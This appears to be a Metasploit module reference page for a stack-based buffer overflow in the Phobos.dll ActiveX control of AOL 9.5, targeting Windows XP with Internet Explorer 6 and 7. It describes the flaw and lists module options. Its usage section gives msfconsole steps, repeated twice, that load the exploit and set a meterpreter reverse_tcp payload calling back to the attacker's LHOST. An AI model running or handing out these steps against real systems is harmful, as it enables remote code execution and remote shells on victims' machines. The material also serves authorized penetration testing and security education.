AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow
This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5. By setting an overly long value to 'Import()', an attacker can overrun a buffer and execute arbitrary code. NOTE: This ActiveX control is NOT marked safe for scripting or initialization.
Exploit Rank
- Average
Exploit Authors
- Trancer < mtrancer [at] gmail.com >
Vulnerability References
Exploit Targets
- 0 - Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0 (default)
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/fileformat/aol_phobos_bof
msf exploit(aol_phobos_bof) > show payloads
msf exploit(aol_phobos_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(aol_phobos_bof) > set LHOST [MY IP ADDRESS]
msf exploit(aol_phobos_bof) > exploit
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msf > use exploit/windows/fileformat/aol_phobos_bof
msf exploit(aol_phobos_bof) > show payloads
msf exploit(aol_phobos_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(aol_phobos_bof) > set LHOST [MY IP ADDRESS]
msf exploit(aol_phobos_bof) > exploit
Exploit Module Options
| FILENAME | The file name. (default: msf.html) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |